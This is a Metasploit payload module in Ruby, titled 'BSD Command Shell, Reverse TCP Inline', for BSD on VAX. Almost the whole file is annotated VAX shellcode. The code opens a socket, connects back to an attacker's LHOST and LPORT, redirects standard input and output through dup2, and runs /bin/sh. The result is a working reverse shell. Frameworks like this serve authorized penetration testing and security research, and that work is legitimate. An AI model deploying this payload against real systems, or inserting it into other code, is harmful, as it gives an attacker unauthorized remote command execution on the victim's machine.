72 lines
2.7 KiB
Ruby
72 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 100
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# This is so one-off that we define it here
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ARCH_VAX = 'vax'
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'BSD Command Shell, Reverse TCP Inline',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'wvu',
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'License' => MSF_LICENSE,
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'Platform' => 'bsd',
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'Arch' => ARCH_VAX,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' => {
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'Offsets' => {
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'LHOST' => [24, 'ADDR'],
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'LPORT' => [32, 'n']
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},
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'Payload' =>
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"\xdd\x00" + # pushl $0
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"\xdd\x01" + # pushl $1
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"\xdd\x02" + # pushl $2
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"\xdd\x03" + # pushl $3
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"\xd0\x5e\x5c" + # movl sp,ap
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"\xbc\x8f\x61\x00" + # chmk $61
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"\xd0\x50\x5a" + # movl r0,r10
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"\xdd\x00" + # pushl $0
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"\xdd\x00" + # pushl $0
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"\xdd\x8f\x00\x00\x00\x00" + # pushl LHOST
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"\xdd\x8f\x02\x00\x00\x00" + # pushl AF_INET + LPORT
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"\xd0\x5e\x5b" + # movl sp,r11
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"\xdd\x10" + # pushl $10
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"\xdd\x5b" + # pushl r11
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"\xdd\x5a" + # pushl r10
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"\xdd\x03" + # pushl $3
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"\xd0\x5e\x5c" + # movl sp,ap
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"\xbc\x8f\x62\x00" + # chmk $62
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"\xd0\x00\x5b" + # movl $0,r11
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"\xdd\x5b" + # pushl r11
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"\xdd\x5a" + # pushl r10
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"\xdd\x02" + # pushl $2
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"\xd0\x5e\x5c" + # movl sp,ap
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"\xbc\x8f\x5a\x00" + # chmk $5a
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"\xf3\x02\x5b\xef" + # aobleq $2,r11,dup2
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"\xdd\x8f\x2f\x73\x68\x00" + # pushl $68732f
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"\xdd\x8f\x2f\x62\x69\x6e" + # pushl $6e69622f
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"\xd0\x5e\x5b" + # movl sp,r11
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"\xdd\x00" + # pushl $0
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"\xdd\x00" + # pushl $0
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"\xdd\x5b" + # pushl r11
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"\xdd\x03" + # pushl $3
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"\xd0\x5e\x5c" + # movl sp,ap
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"\xbc\x3b" # chmk $3b
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}
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))
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end
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end
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